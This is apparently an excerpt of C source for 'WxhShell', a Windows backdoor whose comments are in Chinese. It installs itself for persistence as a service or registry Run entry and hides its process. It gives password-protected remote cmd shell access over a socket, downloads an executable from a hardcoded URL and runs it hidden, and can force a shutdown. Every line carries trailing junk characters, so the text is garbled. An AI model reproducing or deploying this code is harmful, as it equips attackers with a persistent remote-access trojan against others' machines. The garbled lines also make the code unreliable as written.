    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B>2=IZ  
    else { q*hn5K*  
    closesocket(wsh); C;BO6$*_e  
    ExitThread(0); "#d$$ 8  
    } <y6`8J7:  
    break; Rh'z;Gyr  
    } yzS]FwW7  
  // 关机 i).%GMv*r  
  case 'd': { e={O&9Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S^QEctXU  
    if(Boot(SHUTDOWN)) A(y6]E!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TFSdb\g  
    else { Hv/C40uM-  
    closesocket(wsh); {wS i?;[Gq  
    ExitThread(0); GBz? $]6  
    } Rk$7jZdTf  
    break; aBA oSn  
    } l)u%`Hcn  
  // 获取shell t[|oSF#i  
  case 's': { CsR[@&n'  
    CmdShell(wsh); uYC^&siS<s  
    closesocket(wsh); i~!g9o(  
    ExitThread(0); ql?w6qFs]  
    break; N.|F8b]v  
  } a*M|_&MH*  
  // 退出 m$8siF{<q  
  case 'x': { *DJsY/9d}'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1g;2e##)  
    CloseIt(wsh); ,N$Q']Td  
    break; !r/i<~'Bx  
    } Q2fxsa[  
  // 离开 H1N@E}>|  
  case 'q': { u(9pRr L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P]+B}))  
    closesocket(wsh); @rhS[^1wi+  
    WSACleanup(); pMU\f  
    exit(1); )<x9t@$  
    break; F8%^Ed~@  
        } eaRa+ <#u  
  } h,[L6-n  
  } W{NWF[l8O?  
XDK Me}  
  // 提示信息 qnP4wRpr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]}`t~#Irz  
} V9[_aP;  
  } %|jS`kj  
i4YskhT  
  return; ra~=i|s  
} -^NW:L$|  
'6D"QDZB  
// shell模块句柄 |q4=*Xq  
int CmdShell(SOCKET sock) )CXlPbhY?  
{ u>fs yn9c  
STARTUPINFO si; ~&:-c v  
ZeroMemory(&si,sizeof(si)); b^R:q7ea  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C:1(<1K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TG=A]--_a  
PROCESS_INFORMATION ProcessInfo; T"\d,ug5[  
char cmdline[]="cmd"; bK "I9T #  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LJrH_h8C  
  return 0; 5bb#{?2i  
} +v/y{8Fu  
;(K/O?nrJ  
// 自身启动模式 +[}y` -t  
int StartFromService(void) Rk9n,"xpv  
{ CC^D4]ug  
typedef struct s}JifY`  
{ '@t,G,FJ  
  DWORD ExitStatus; x& _Y( bHA  
  DWORD PebBaseAddress; .H|Z3d!Jj  
  DWORD AffinityMask; qiOtbH=  
  DWORD BasePriority; ij:xr% FJ  
  ULONG UniqueProcessId; Pll%O@K  
  ULONG InheritedFromUniqueProcessId; %:C6\4  
}   PROCESS_BASIC_INFORMATION; KXMf2)pa  
:r{-:   
PROCNTQSIP NtQueryInformationProcess; E+y_te^+b  
J@_M%eN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A^lm0[3q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oDS7do  
)d[n-Si  
  HANDLE             hProcess; +;+G+Tn  
  PROCESS_BASIC_INFORMATION pbi; G5hRx@vfrL  
G=qlE?j`j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z +/3rd  
  if(NULL == hInst ) return 0; jJ"(O-<)D  
n\9IRuYO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tnpEfi-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  LcLHX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vu_oxL}  
x`?>j$  
  if (!NtQueryInformationProcess) return 0; AXcmN  
XK~HfA?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -s HX   
  if(!hProcess) return 0; >~d'i  
&SIf|IX.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; koB'Zp/FaY  
p` ~=v4;b  
  CloseHandle(hProcess); R?{_Q<17  
/y1+aTiJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GX23c i  
if(hProcess==NULL) return 0; RH,x);J|  
( x% 4*  
HMODULE hMod; $,Q] GIC  
char procName[255]; ]U@~vA#''  
unsigned long cbNeeded; .Z]hS7t  
['>ZC3?"h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \e'Vsy>q  
a /]FlT  
  CloseHandle(hProcess); u ^#UsOt+  
=~s+<9c]  
if(strstr(procName,"services")) return 1; // 以服务启动 Y'1 KH}sH  
C D6N8n]  
  return 0; // 注册表启动 h@JX?LzZS  
} I>rTqOK  
7.2G}O6$  
// 主模块 ,J2qLH1  
int StartWxhshell(LPSTR lpCmdLine) _{):w~zi  
{ {KDN|o+%  
  SOCKET wsl; yC ?p,Ci,  
BOOL val=TRUE; r4cz?e |  
  int port=0; T!?tyW  
  struct sockaddr_in door; N, u]2,E  
z 3[J sE%  
  if(wscfg.ws_autoins) Install(); {tYY _BI<  
0 NSw^dO\  
port=atoi(lpCmdLine); ]Ndy12,M  
IjOBY  
if(port<=0) port=wscfg.ws_port; .dYv.[?hL  
W.s8!KH:  
  WSADATA data; ,ye[TQ\,M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }.s%J\ckx  
)AEtW[~D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ObZhQ.&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @=z.^I30  
  door.sin_family = AF_INET; C ]B P}MY<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rYV]<[?~7  
  door.sin_port = htons(port); a/s5Oit2'X  
dHAT($QG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bD/ZKvg  
closesocket(wsl); #Rfc p!  
return 1; ;t9!< L  
} CN` ~DD{  
|d~'X%b%  
  if(listen(wsl,2) == INVALID_SOCKET) { ho6hjhS|u  
closesocket(wsl); xC5Pv">  
return 1; izcjI.3e,  
} 2oc18#iG (  
  Wxhshell(wsl); '+l"zK ]L-  
  WSACleanup(); RIUJX{?  
gT+wn-3  
return 0; n>,GmCo  
,%A|:T]  
} hl0X, G+@  
 96;5  
// 以NT服务方式启动 \7h>9}wGf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &=S:I!9;;  
{ 5|jY  
DWORD   status = 0; rS!@AgPLE  
  DWORD   specificError = 0xfffffff; Y|wjt\M  
du'`&{_/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IP{$lC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @J>JZ7m]\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WqM| nX  
  serviceStatus.dwWin32ExitCode     = 0; MBjAe!,-  
  serviceStatus.dwServiceSpecificExitCode = 0; K0oF=|  
  serviceStatus.dwCheckPoint       = 0; %${$P+a`D  
  serviceStatus.dwWaitHint       = 0; %=*|: v  
sMVk]Mb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %MGt3)  
  if (hServiceStatusHandle==0) return; SAitufS  
!#%>,X#+  
status = GetLastError(); zp:QcL"  
  if (status!=NO_ERROR) >}+R+''nR  
{ I YtiX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A4rMJ+!5  
    serviceStatus.dwCheckPoint       = 0; Tc"J(GWG  
    serviceStatus.dwWaitHint       = 0; ,) dlL tUm  
    serviceStatus.dwWin32ExitCode     = status; G 0Z5h  
    serviceStatus.dwServiceSpecificExitCode = specificError; V'RbTFb9Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WC=d @d)M  
    return; rqp]{?33  
  } b{aB^a:f=L  
9MO=f^f-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?+yM3As9_V  
  serviceStatus.dwCheckPoint       = 0; rZ n@i  
  serviceStatus.dwWaitHint       = 0; LauGT* z!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u23_*W\  
} j `!Ge  
du ~V=%9  
// 处理NT服务事件,比如:启动、停止 F7j/Zuj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Gt?l 2s  
{ a6;[Z  
switch(fdwControl) !&b| [b  
{ $kN=45SR  
case SERVICE_CONTROL_STOP: 1,h:|  
  serviceStatus.dwWin32ExitCode = 0; "P|n'Mx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R{Zd ]HT  
  serviceStatus.dwCheckPoint   = 0; 'ZI8nMY  
  serviceStatus.dwWaitHint     = 0; ~@6l7H6{  
  { ;a>u7rw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); } LC  
  } ^$% Sg//  
  return; )=iv3nF?6N  
case SERVICE_CONTROL_PAUSE: `C|];mf(#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `V<jt5TS  
  break; J;^PM:6  
case SERVICE_CONTROL_CONTINUE: + a nsN~3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ))Z>$\<:  
  break; j%y{d(Q4  
case SERVICE_CONTROL_INTERROGATE: $+n6V2^K)7  
  break; ? _bFe![q  
}; Nc4;2~XwRp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e Csk\f`  
} AIn/v`JeX  
573,b7Yf  
// 标准应用程序主函数 Bf #cBI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H I_uR$m  
{ <B0 f  
y9d"sqyh  
// 获取操作系统版本 9)W &yi  
OsIsNt=GetOsVer(); a9p:k ]{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?$)5NQB%  
,e9M%VIu6[  
  // 从命令行安装 LFW`ISY{  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,>b>I#{  
q!'p   
  // 下载执行文件 gELG/6l  
if(wscfg.ws_downexe) { m }HaJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j:'g*IxM_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8Vj'&UY  
} p$|7T31 *  
UQ0<sI=  
if(!OsIsNt) { vaP`'  
// 如果时win9x,隐藏进程并且设置为注册表启动 4LB8p7$|a3  
HideProc(); , p~1fB-/  
StartWxhshell(lpCmdLine); D@68_sn  
} < ]1,L%  
else EV{Ys}3M  
  if(StartFromService()) !YjxCx  
  // 以服务方式启动 M :}u|  
  StartServiceCtrlDispatcher(DispatchTable); R^/SBrWve  
else U7 D!w$4  
  // 普通方式启动 +ppA..1  
  StartWxhshell(lpCmdLine); zM=MFKhi ~  
uz{RV_IX7  
return 0; rq8 d}wj  
} 9!uiQ  
`wtso  
]r|oNGD)G  
+Z|3[#W  
=========================================== v '+]T=  
KB](W  
rfEWh Vy(}  
nDC0^&  
xH*X5?  
;mk[!  
" I@9'd$YY  
]n|Jc_Y  
#include <stdio.h> I6f/+;E  
#include <string.h> [A,^ F0:h  
#include <windows.h> 3)W zX  
#include <winsock2.h> vsj4? 0=  
#include <winsvc.h> bqAW  
#include <urlmon.h> _i+@HXR &  
+ tMf&BZ  
#pragma comment (lib, "Ws2_32.lib") k[ro[E  
#pragma comment (lib, "urlmon.lib") XhM!pSl\  
I8 :e `L  
#define MAX_USER   100 // 最大客户端连接数 _/I">/ivlM  
#define BUF_SOCK   200 // sock buffer WrGnLE kiV  
#define KEY_BUFF   255 // 输入 buffer <R /\nYXz  
R03 Te gwA  
#define REBOOT     0   // 重启 ~.%HZzR6&  
#define SHUTDOWN   1   // 关机 z2uL[deN'"  
, [|aWT%9  
#define DEF_PORT   5000 // 监听端口 ~x9 ]?T  
@9B*V~ <  
#define REG_LEN     16   // 注册表键长度 Xv-p7$?f  
#define SVC_LEN     80   // NT服务名长度 RTm/-6[N  
9KXL6#h  
// 从dll定义API clB K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t+8e?="  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R{H[< s+n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RPW46l34  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jo\P,-\(  
+ t5SrO!`  
// wxhshell配置信息 r\;fyeH  
struct WSCFG { 4D0jt$==  
  int ws_port;         // 监听端口 A#=TR_@:  
  char ws_passstr[REG_LEN]; // 口令 P"Al*{:J  
  int ws_autoins;       // 安装标记, 1=yes 0=no hL&$` Q  
  char ws_regname[REG_LEN]; // 注册表键名 X@\W* nq  
  char ws_svcname[REG_LEN]; // 服务名 lhGJ/By- -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -[=eVS.2%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \EySKQ=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #0P_\X`E   
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cd}^&z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @b,Az{EH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kyJbV[o<#  
Dw%'u'HG  
}; X/,) KTo7  
GXtK3YAr  
// default Wxhshell configuration RRIh;HhX  
struct WSCFG wscfg={DEF_PORT, *5%vU|9b  
    "xuhuanlingzhe", y?<KN0j  
    1, SMX]JZmH  
    "Wxhshell", Qn!mS[l  
    "Wxhshell", K($l>PB,y@  
            "WxhShell Service", ITn%  
    "Wrsky Windows CmdShell Service", f"ndLX:'}  
    "Please Input Your Password: ", SO$Af!S:bB  
  1, aOwjYl[?p  
  "http://www.wrsky.com/wxhshell.exe", \VNu35* J|  
  "Wxhshell.exe" QrYF Lh  
    }; y7,I10:D  
4dX{an]Cz  
// 消息定义模块 x}+zhRJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /4&gA5BS]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V*giF`gq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ><<>4(eF p  
char *msg_ws_ext="\n\rExit."; X4 Arn,  
char *msg_ws_end="\n\rQuit."; 8s1nE_3  
char *msg_ws_boot="\n\rReboot..."; ]vvYPRV76  
char *msg_ws_poff="\n\rShutdown..."; lP F326e  
char *msg_ws_down="\n\rSave to "; .[Sis<A]%  
Y[{:?i~9,  
char *msg_ws_err="\n\rErr!"; ngo> ^9/8  
char *msg_ws_ok="\n\rOK!"; y[8;mCh  
@+gr/Pul^  
char ExeFile[MAX_PATH]; 7~Y\qJ4b  
int nUser = 0; x b,XI/  
HANDLE handles[MAX_USER]; 7n7Xyb  
int OsIsNt; 'hpOpIsHa  
xZ'fer`&  
SERVICE_STATUS       serviceStatus; s1:Wrz?4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oD)]4|  
q/#e6;x  
// 函数声明 o,6t: ?Z  
int Install(void); Jo5Bmh0  
int Uninstall(void); SqM>xm  
int DownloadFile(char *sURL, SOCKET wsh); .-d'*$ yJ  
int Boot(int flag); lPy|>&Yc  
void HideProc(void); +Nt4R:N  
int GetOsVer(void); Mog >W&U  
int Wxhshell(SOCKET wsl); 2S?7j[@%i`  
void TalkWithClient(void *cs); Q{l,4P  
int CmdShell(SOCKET sock); \SWTP1  
int StartFromService(void); a:BW*Hy{\  
int StartWxhshell(LPSTR lpCmdLine);  /8x';hQ  
,md_eGF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !HY^QK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +fP.Ewi  
"q=Cye  
// 数据结构和表定义 7v5]% %E/  
SERVICE_TABLE_ENTRY DispatchTable[] = 'nCVjO7o  
{ R#T-o,m  
{wscfg.ws_svcname, NTServiceMain}, p='j/=  
{NULL, NULL} '`>%RZ]  
}; GX>8B:]o|  
(95|DCL  
// 自我安装 3\7MeG`tl  
int Install(void) )~ ( *q  
{ TeHJj`rdAU  
  char svExeFile[MAX_PATH]; scg&"s  
  HKEY key; )DgXsT  
  strcpy(svExeFile,ExeFile); O$*lPA[  
1d5%(:@  
// 如果是win9x系统,修改注册表设为自启动 & l>nzJ5?  
if(!OsIsNt) { #])"1fk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d_9 C m@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YYWD\Y`8  
  RegCloseKey(key); D2$ 9$xeR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F>fCp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @j!,8JQEd  
  RegCloseKey(key); =:H-9  
  return 0; %7#<K\])  
    } Na0^csPm  
  } ? i{?Q,  
} ^^a6 (b  
else { A@A8xn%  
3=O [Q:8  
// 如果是NT以上系统,安装为系统服务 p<5]QV7st  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c4H6I~2Na  
if (schSCManager!=0) -SsgW  
{ 3#7V1  
  SC_HANDLE schService = CreateService _.5{vGyxr  
  ( dyQ7@K.E  
  schSCManager, y;b#qUd5a  
  wscfg.ws_svcname, Od!)MQ*,  
  wscfg.ws_svcdisp, GwX)~.i  
  SERVICE_ALL_ACCESS, Z@bgJL8 3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q]WBH_j  
  SERVICE_AUTO_START, .n8R%|C5  
  SERVICE_ERROR_NORMAL, ]s\r3I]  
  svExeFile, ]LvP)0=  
  NULL, [JOa^U=  
  NULL, m{IlRf'  
  NULL, F 9%_@n  
  NULL, csP4Oq\g[  
  NULL Mu3G/|t(  
  ); Z RVt2  
  if (schService!=0) #C9f?fnM  
  { MBWoPK  
  CloseServiceHandle(schService); YVIE v  
  CloseServiceHandle(schSCManager); ,GSiSn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WtOjPW  
  strcat(svExeFile,wscfg.ws_svcname); _^iY;&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Ewh:IM-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]#o;`5'  
  RegCloseKey(key); 5rsz2;#p  
  return 0; zluq2r  
    } l2F#^=tp  
  } H:.~! r  
  CloseServiceHandle(schSCManager); 2yfU]`qN  
} -.D?Z8e  
} #}7T$Va  
}U}zS@kI  
return 1; [jgVN w""D  
} @)pC3Vi^  
<*5S7)]BP  
// 自我卸载 ;\pr05  
int Uninstall(void) N9-0b  
{ ![z2]L+TB  
  HKEY key; PQaTS*0SXJ  
x^lc T  
if(!OsIsNt) { ZF>:m>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FGVw=G{r  
  RegDeleteValue(key,wscfg.ws_regname); 72l:[5ccR  
  RegCloseKey(key); 7Z>vQf B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A7L;ims7  
  RegDeleteValue(key,wscfg.ws_regname); &M|rRd~*  
  RegCloseKey(key); ?`RlYu  
  return 0; Uu7]`Ul  
  } ^Mq/Cf_T  
} @X/ 1`Mp  
} ]L3U2H`7  
else { Q>5f@aN  
klKUX/ g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  q0ktABB  
if (schSCManager!=0) %R GZu\p  
{ =z. hJu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]!ai?z%cK#  
  if (schService!=0) \GEz.Vb  
  { LATizu  
  if(DeleteService(schService)!=0) { =%` s-[5b  
  CloseServiceHandle(schService); -r *|N.5c  
  CloseServiceHandle(schSCManager); []>rYZ9bv  
  return 0; wR_mJMk_  
  } lf"w/pb'  
  CloseServiceHandle(schService); ! $JX3mP  
  } kn:hxdZ  
  CloseServiceHandle(schSCManager); 4U dk#  
} x-i,v"8  
} 0MRWx%CR  
1uw1(iL+  
return 1; $}vk+.!*1  
} i ;B^I8  
WN]k+0#  
// 从指定url下载文件 6%V:Z  
int DownloadFile(char *sURL, SOCKET wsh) +2MF#{ tS  
{ >vD}gGBe  
  HRESULT hr; (Z<@dkO?)  
char seps[]= "/"; <lzC|>BG  
char *token; B  W*8  
char *file; t,YRM$P  
char myURL[MAX_PATH]; w10~IP  
char myFILE[MAX_PATH]; //NV_^$y  
b@J"b(  
strcpy(myURL,sURL); faOiNR7;h  
  token=strtok(myURL,seps); .6MG#N  
  while(token!=NULL) h] ho? K  
  { e (]]  
    file=token; y],op G6  
  token=strtok(NULL,seps); vyS>3(NZ  
  } R+.4|1p  
cn}15JHdR  
GetCurrentDirectory(MAX_PATH,myFILE); XW aa`q  
strcat(myFILE, "\\"); T"99m^y  
strcat(myFILE, file); )VQ[}iT  
  send(wsh,myFILE,strlen(myFILE),0); T[4xt,[a  
send(wsh,"...",3,0); 6"iNh)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ou0TKE9 _  
  if(hr==S_OK) (-yif&  
return 0; NrS+N;i  
else 7=G6ao7  
return 1; g@ J F  
 dF `7]  
} aNry> 2:  
;40Z/#FI  
// 系统电源模块 ft7M9<#v  
int Boot(int flag) Mq~E'g4#  
{ 1tTP;C l#  
  HANDLE hToken; t,LK92?  
  TOKEN_PRIVILEGES tkp; Lu^uY7 ?}  
wdj?T`4  
  if(OsIsNt) { t{UVX%b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W?SAa7+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); > 3x^jh  
    tkp.PrivilegeCount = 1; oaha5aWH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^6# yL6E,~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x .@O]}UH  
if(flag==REBOOT) { p p0356  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^/Hf$tYI!`  
  return 0; UG44 oKB  
} wmV=GV8 d  
else { n3?P8m$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V=fu[#<@Ig  
  return 0; b)a5LFt|  
} )'jGf;du  
  } 0Gj/yra9MO  
  else { j)G%I y[`  
if(flag==REBOOT) { xY)eU;*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \4qF3#  
  return 0; Zz (qc5o,F  
} +s_a{iMVP  
else { (]sm9PO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8\E=p+C  
  return 0; V|A.M-XLv4  
} oeKl\cgFx  
} 2FdwX ,O.  
B (eXWWT_  
return 1; EO(l?Fgw]$  
} 5M>p%/  
fFVQu\  
// win9x进程隐藏模块 xBc$qjV  
void HideProc(void) )+v5 H  
{ d$ o m\@  
#k<l5x`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6Jy%4]wK  
  if ( hKernel != NULL ) i.^UkN{  
  { mx1Bk9h%Xe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p]X+#I<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b i-Am/9  
    FreeLibrary(hKernel); 5O~xj:  
  } ;s~xS*(C  
Y,mo}X<>  
return; b"@-9ke5I  
} i:N-Q)<Q*)  
?!F<xi:  
// 获取操作系统版本 [ s/j?/9  
int GetOsVer(void) K~]Xx~F  
{ Te!eM{_$T  
  OSVERSIONINFO winfo; n9 bp0#K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T__@hfT  
  GetVersionEx(&winfo); IecD41%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zI"&g]TV5  
  return 1; L4+R8ojG  
  else rv)Eg53Q  
  return 0; G@e;ms1  
} h+d k2|a  
0n X5Vo  
// 客户端句柄模块 ?l[#d7IB  
int Wxhshell(SOCKET wsl) ;E{@)X..|  
{ U4a8z<l$  
  SOCKET wsh; ?st}rJ_  
  struct sockaddr_in client; B~Z61   
  DWORD myID; ~y Dl & S  
U3aM^  
  while(nUser<MAX_USER) q}'<[Wg  
{ <b4} B   
  int nSize=sizeof(client); }#g &l*P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7!o#pt7  
  if(wsh==INVALID_SOCKET) return 1; %;_EWs/z8  
bA6^R If?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x5#Kk.  
if(handles[nUser]==0) U/HF6=Wot  
  closesocket(wsh); $D^27q:H  
else ]We0 RD"+  
  nUser++; a~VW?wq  
  } )g&nI <Mh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lZ"C~B}9:I  
yWN'va1+$  
  return 0; Rc@lGq9  
} DjZTr}%q  
0jXDjk5'<  
// 关闭 socket 3<Z@!ft8  
void CloseIt(SOCKET wsh) ,o `tRh<  
{ K)Ya%%6[U#  
closesocket(wsh); 9$(N q  
nUser--; v!S(T];)  
ExitThread(0); lS2 `#l>  
} IAmMO[9H  
I?q- :9:  
// 客户端请求句柄 /lHs]) ,  
void TalkWithClient(void *cs) O#^qd0e'P!  
{ g p9;I*!  
A|mE3q=  
  SOCKET wsh=(SOCKET)cs; |e+r~).4B  
  char pwd[SVC_LEN]; D+BflI~9mP  
  char cmd[KEY_BUFF]; t1#f*G5  
char chr[1]; mCI5^%*0jQ  
int i,j; ][\ uH|  
 j)mS3#cH  
  while (nUser < MAX_USER) { DM,;W`|6%  
d.>O`.Mu)}  
if(wscfg.ws_passstr) { 'o8,XBv-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rd(-2,$4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DfOig LG*  
  //ZeroMemory(pwd,KEY_BUFF); @71y:)W<  
      i=0; I$TD[W  
  while(i<SVC_LEN) { c!$~_?]  
!cO<N~0*5x  
  // 设置超时 i&}LuF8  
  fd_set FdRead; Ox aS<vQ3  
  struct timeval TimeOut; ;$r!eFY;  
  FD_ZERO(&FdRead); MA 6uJT  
  FD_SET(wsh,&FdRead);  poZ&S  
  TimeOut.tv_sec=8; naY#`xig  
  TimeOut.tv_usec=0; Hc0V4NHCaL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -zH-9N*c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #KLW&A  
`Z`o[]%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7,{!a56zX  
  pwd=chr[0]; r_V^sX  
  if(chr[0]==0xd || chr[0]==0xa) { @<S'f<>g  
  pwd=0; ZI!;~q  
  break; &9n=!S'Md  
  } H[/^&1P  
  i++; eYg0 NEq{  
    } lzz68cT  
5)4?i p  
  // 如果是非法用户,关闭 socket x}7Xd P.2$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lb)i0`AN+  
} *u34~v16,  
OH5#.${O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); - :x6X$=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cPl$N5/5  
DC$x}1  
while(1) { 4d-"kx3X  
`LWbL*;Y0  
  ZeroMemory(cmd,KEY_BUFF); zL+M-2hV  
$O9#4A;  
      // 自动支持客户端 telnet标准   T,4REbm^  
  j=0; `]2y=f<{X  
  while(j<KEY_BUFF) { nlx~yUXL4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ( 2KopL  
  cmd[j]=chr[0]; a3_pF~Qx  
  if(chr[0]==0xa || chr[0]==0xd) { ;uU 8$  
  cmd[j]=0; ZN`I4Ak  
  break; Or()AzwE@  
  } ,5|@vW2@u  
  j++; -fx$)d~  
    } a&`Lfw"  
`9VRT`e  
  // 下载文件 3{- 8n/4 k  
  if(strstr(cmd,"http://")) { .ffb*gZ4  
